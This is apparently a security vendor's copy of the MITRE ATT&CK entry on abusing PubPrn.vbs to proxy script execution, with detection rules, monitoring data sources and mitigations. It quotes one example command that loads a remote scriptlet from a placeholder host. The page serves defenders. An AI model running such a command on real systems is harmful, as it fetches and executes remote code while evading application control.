Technique on mitre.org

T1216.001: PubPrn

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).

Positive Technologies products that cover the technique

Detection

PT NAD can detect, using rules and filters, artifacts of downloading and remote executing malicious files via abuse of the PubPrn.vbs script functionality.

Example of PT NAD detection rules

ATTACK [PTsecurity] WScript.Shell Run HTML Code Execution Attempt (sid 10003456)

Examples of PT NAD filters

files.filename ~ "*.sct"

Detection

ID	DS0009	Data source and component	Process: Process Creation	Description	Monitor script processes, such as `cscript that may be used to proxy execution of malicious files.

ID	DS0017	Data source and component	Command: Command Execution	Description	Monitor executed commands and arguments for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.

ID	DS0012	Data source and component	Script: Script Execution	Description	Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

ID	Data source and component	Description
DS0009	Process: Process Creation	Monitor script processes, such as `cscript that may be used to proxy execution of malicious files.
DS0017	Command: Command Execution	Monitor executed commands and arguments for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.
DS0012	Script: Script Execution	Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

Mitigation

ID	M1038	Name	Execution Prevention	Description	Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.

ID	M1040	Name	Behavior Prevention on Endpoint	Description	On Windows 10, update Windows Defender Application Control policies to include rules that block the older, vulnerable versions of PubPrn.

ID	Name	Description
M1038	Execution Prevention	Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.
M1040	Behavior Prevention on Endpoint	On Windows 10, update Windows Defender Application Control policies to include rules that block the older, vulnerable versions of PubPrn.